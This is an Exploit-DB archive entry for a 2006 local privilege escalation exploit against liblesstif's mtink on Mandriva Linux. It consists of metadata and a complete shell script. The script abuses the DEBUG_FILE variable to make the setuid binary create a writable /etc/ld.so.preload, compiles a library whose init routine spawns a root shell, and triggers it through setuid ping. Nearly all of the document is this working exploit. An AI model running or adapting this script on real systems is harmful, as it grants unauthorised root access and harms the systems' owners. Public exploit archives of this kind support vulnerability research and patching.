liblesstif 2-0.93.94-4mdk - 'DEBUG_FILE' Local Privilege Escalation
Author: Karol Wiesek type: local platform: linux port: date_added: 2006-08-07 date_updated: 2016-09-01 verified: 1 codes: tags: aliases: screenshot_url: application_url: http://www.exploit-db.comliblesstif2-0.93.94-4mdk.i586.rpm raw file: 2144.sh
#!/bin/sh echo echo "mtink libXm local root exploit" echo "* karol@wiesek.pl *" echo umask 000 export DEBUG_FILE="/etc/ld.so.preload" cat > /tmp/lib.c << _EOF #include <unistd.h> void _init(void) { if (getuid()!=0 && geteuid()==0) { setuid(0); unlink("/etc/ld.so.preload"); execl("/bin/bash", "bash", 0); } } _EOF /usr/bin/gcc -o /tmp/lib.o -c /tmp/lib.c /usr/bin/ld -shared -o /tmp/lib.so /tmp/lib.o /usr/bin/mtink echo "/tmp/lib.so" > /etc/ld.so.preload /bin/ping # milw0rm.com [2006-08-08]